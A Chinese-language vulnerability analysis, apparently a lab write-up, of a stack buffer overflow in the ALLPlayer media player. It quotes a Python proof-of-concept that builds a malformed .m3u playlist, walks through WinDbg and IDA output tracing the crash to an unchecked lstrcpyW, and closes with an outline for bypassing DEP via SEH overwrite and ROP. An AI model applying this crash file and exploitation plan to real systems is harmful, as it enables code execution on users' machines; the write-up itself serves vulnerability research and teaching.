**1.结合poc定位漏洞**

从github上找到了poc

**junk = "http://"**

**buffer="\x41" \* 5000**

**exploit = junk + buffer**

**try:**

**out\_file = open("ALLPlayer\_Poc.m3u",'w')**

**out\_file.write(exploit)**

**out\_file.close()**

**print "Exploit file created!"**

**except:**

**print "Error"**

用ALLPlayer打开poc生成的ALLPlayer\_Poc.m3u，程序崩溃

This exception may be expected and handled.

eax=00120041 ebx=066bb35c ecx=00130000 edx=066bc8d4 esi=00001390 edi=00000000

eip=7c932f4e esp=0012ea2c ebp=0012ea2c iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206

ntdll!wcscpy+0xe:

7c932f4e 668901 mov word ptr [ecx],ax ds:0023:00130000=6341

ntdll!wcscpy: **(wcscpy把从src地址开始且含有'\0000'结束符的字符串复制到以dest开始的地址空间，返回值的类型为wchar\_t\* #Unicode)**

7c932f40 8bff mov edi,edi

7c932f42 55 push ebp

7c932f43 8bec mov ebp,esp

7c932f45 8b4d08 mov ecx,dword ptr [ebp+8] #char \*strDestination

7c932f48 8b550c mov edx,dword ptr [ebp+0Ch] #char \*strSource

7c932f4b 668b02 mov ax,word ptr [edx]

7c932f4e 668901 mov word ptr [ecx],ax ds:0023:00130000=6341

#wcscpy函数

# \_\_int16 \*\_\_cdecl wcscpy(\_\_int16 \*a1, \_\_int16 \*a2)

# {

# \_\_int16 \*des; // ecx

# \_\_int16 \*sou; // edx

# \_\_int16 index; // ax

# des = a1;

# sou = a2;

# do

# {

# index = \*sou;

# \*des = \*sou;

# ++des;

# ++sou;

# }

# while ( index );

# return a1;

# }

#

0:000> dd ebp

0012ea2c 0012ea60 7c80bb10 0012ea88 066bb35c

0:000> dd 0012ea88

0012ea88 00740068 00700074 002f003a 0041002f

0012ea98 00410041 00410041 00410041 00410041

0012eaa8 00410041 00410041 00410041 00410041

0012eab8 00410041 00410041 00410041 00410041

0012eac8 00410041 00410041 00410041 00410041

0012ead8 00410041 00410041 00410041 00410041

0012eae8 00410041 00410041 00410041 00410041

0012eaf8 00410041 00410041 00410041 00410041

0:000> dd 066bb35c

066bb35c 00740068 00700074 002f003a 0041002f

066bb36c 00410041 00410041 00410041 00410041

066bb37c 00410041 00410041 00410041 00410041

066bb38c 00410041 00410041 00410041 00410041

066bb39c 00410041 00410041 00410041 00410041

066bb3ac 00410041 00410041 00410041 00410041

066bb3bc 00410041 00410041 00410041 00410041

066bb3cc 00410041 00410041 00410041 00410041

0:000> kv

ChildEBP RetAddr Args to Child

0012ea2c 7c80bb10 0012ea88 066cb35c 00000000 ntdll!wcscpy+0xe (FPO: [Non-Fpo])

0012ea60 00699632 0012ea88 066cb35c 0012ecf0 kernel32!lstrcpyW+0x1c (FPO: [Non-Fpo])

WARNING: Stack unwind information not available. Following frames may be wrong.

0012ecdc 00410041 00410041 00410041 00410041 ALLPlayer!TMethodImplementationIntercept+0x22cb3e

0012ece0 00410041 00410041 00410041 00410041 ALLPlayer+0x10041

可以看到ALLPlayer!TMethodImplementationIntercept+0x22cb3e是ntdll!wcscpy的调用者

在ida中找到ALLPlayer!TMethodImplementationIntercept+0x22cb3e处

.text:0069960A loc\_69960A: ; CODE XREF: .text:006995FC↑j

.text:0069960A push ebx

.text:0069960B call lstrlenW\_0\_0

.text:00699610 mov esi, eax

.text:00699612 inc esi

.text:00699613 lea eax, [ebp-254h]

.text:00699619 xor ecx, ecx

.text:0069961B mov edx, 104h

.text:00699620 call sub\_407B64

.text:00699625 push ebx <-------------- 源字符串

.text:00699626 lea eax, [ebp-254h]

.text:0069962C push eax <---------------目标缓冲区

.text:0069962D call lstrcpyW <-------------- 崩溃触发点

.text:00699632 mov eax, [ebp+8]

#在该函数中下断再重新打开ALLPlayer\_Poc.m3u，断下

0:005> bp ALLPlayer!TMethodImplementationIntercept+0x22cb1e

0:005> g

Breakpoint 1 hit

eax=0000138f ebx=066bb35c ecx=7c809ac6 edx=0000000a esi=0000138f edi=00000000

eip=00699612 esp=0012ea70 ebp=0012ecdc iopl=0 nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286

ALLPlayer!TMethodImplementationIntercept+0x22cb1e:

00699612 46 inc esi

0:000> dd eax

0012ea88 00000000 00000000 00000000 00000000

0012ea98 00000000 00000000 00000000 00000000

0012eaa8 00000000 00000000 00000000 00000000

0012eab8 00000000 00000000 00000000 00000000

0012eac8 00000000 00000000 00000000 00000000

0012ead8 00000000 00000000 00000000 00000000

0012eae8 00000000 00000000 00000000 00000000

0012eaf8 00000000 00000000 00000000 00000000

0:000> dd ebx

066bb35c 00740068 00700074 002f003a 0041002f

066bb36c 00410041 00410041 00410041 00410041

066bb37c 00410041 00410041 00410041 00410041

066bb38c 00410041 00410041 00410041 00410041

066bb39c 00410041 00410041 00410041 00410041

066bb3ac 00410041 00410041 00410041 00410041

066bb3bc 00410041 00410041 00410041 00410041

066bb3cc 00410041 00410041 00410041 00410041

0:000> dd esp

0012ea6c 066bb35c 0012ecf0 00699791 0012ecdc

0012ea7c 00b55bf8 066bb35c 00000000 00000000

0012ea8c 00000000 00000000 00000000 00000000

0012ea9c 00000000 00000000 00000000 00000000

0012eaac 00000000 00000000 00000000 00000000

0012eabc 00000000 00000000 00000000 00000000

0012eacc 00000000 00000000 00000000 00000000

0012eadc 00000000 00000000 00000000 00000000

至此我们知道这是一个栈溢出，当ebx中的字符串足够长时，会覆盖函数返回地址以及栈中的一些重要数据

**2.漏洞利用**

障碍：实验环境winxp sp3 开启了DEP，GS等保护

思路：

1）通过构造ROP构造出可以执行的内存块

2）利用SEH

在栈中布置shellcode同时覆盖SEH，

然后利用rop结合ZwSetInformationProcess关掉DEP

最后跳转到栈中执行shellcode